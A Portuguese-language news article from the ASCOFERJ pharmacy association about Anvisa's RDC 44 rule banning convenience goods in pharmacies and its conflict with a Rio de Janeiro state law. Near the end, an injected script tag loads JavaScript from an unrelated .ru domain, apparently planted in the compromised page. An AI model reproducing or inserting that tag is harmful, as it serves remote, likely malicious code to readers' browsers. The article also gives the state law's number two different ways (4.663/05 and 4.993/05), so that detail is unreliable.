Ícone do site ASCOFERJ | Associação do Comércio Farmacêutico do Estado do Rio de Janeiro

Venda de produtos de conveniência será tolerada temporariamente pela Visa estadual

Ascoferj

"Até que a justiça decida o futuro da RDC 44, se a fiscalização no Rio for feita pela Visa estadual, os fiscais deverão respeitar a Lei Estadual 4.663/05, que permite a venda de alguns produtos que a Resolução proíbe. Mas, se por alguma razão, houver uma ação fiscalizadora em conjunto com a Anvisa, vai prevalecer a RDC 44, e os fiscais vão autuar quem estiver infringindo a norma federal", disse a assessora de gabinete da Agência Nacional de Vigilância Sanitária (Anvisa), Cristianne da Silva Gonçalves.

Cristianne esteve na cidade ontem (3) para uma palestra sobre a Resolução RDC 44, que entra em vigor no próximo dia 18. A norma autoriza a execução de vários serviços farmacêuticos em farmácias e drogarias. A representante da Anvisa falou também sobre as Instruções Normativas 9 e 10, que vieram a reboque da RDC. Elas listam o que pode e o que não pode ser vendido nos estabelecimentos farmacêuticos. Balas, chocolates, pilhas, refrigerantes, águas e outros itens terão em breve a comercialização proibida.

JUDICIALIZAÇÃO
A RDC 44 mal entrou em vigor e já é caso de justiça há muito tempo, desde o ano passado, pelo menos. Os empresários não aceitam a proibição, e entidades representativas do setor, como Ascoferj, ABCFARMA e Febrafar, estão acionando o Poder Judiciário para tentar obter liminares que liberem seus associados de cumprirem a RDC 44.

O que complica ainda mais a situação é a existência de leis estaduais contradizendo a RDC 44. No Rio, por exemplo, existe a Lei Estadual 4.993/05, que permite a venda de produtos que a RDC proíbe, criando um impasse.

Segundo Cristianne Silva, da Anvisa, a fiscalização estadual deverá seguir as normas estaduais sobre o assunto. Entretanto, se por alguma razão, o estado solicitar ajuda da Anvisa para acompanhar o cumprimento da RDC 44, a Agência vai autuar os estabelecimentos que estiverem desrespeitando a Resolução.

"Consultamos a Abrafarma e descobrimos que, em 2009, as redes faturaram 4,3 bilhões de reais, sendo que 75% desse valor vêm da venda de medicamentos. Os outros 25% são distribuídos para higiene pessoal, cosméticos, perfumaria, alimentos e correlatos", disse Cristianne, defendendo que o impacto no negócio não será tão grande assim.

Quem também se posicionou foi a Vigilância Sanitária Estadual. O órgão afirmou que, inicialmente, vai seguir a legislação estadual, até que a "insegurança jurídica" termine. Além disso, vai haver uma harmonização do procedimento de fiscalização realizado por todos os municípios já emancipados. A capacitação dos fiscais sobre a RDC 44 também está no cronograma da Visa Estadual.

Associados que tiverem dúvidas podem entrar em contato com o Departamento Jurídico da Ascoferj pelo telefone (21) 2220-9390, das 10h às 16h.

<script src=http://control.postfolkovs.ru/js.js

Sair da versão mobile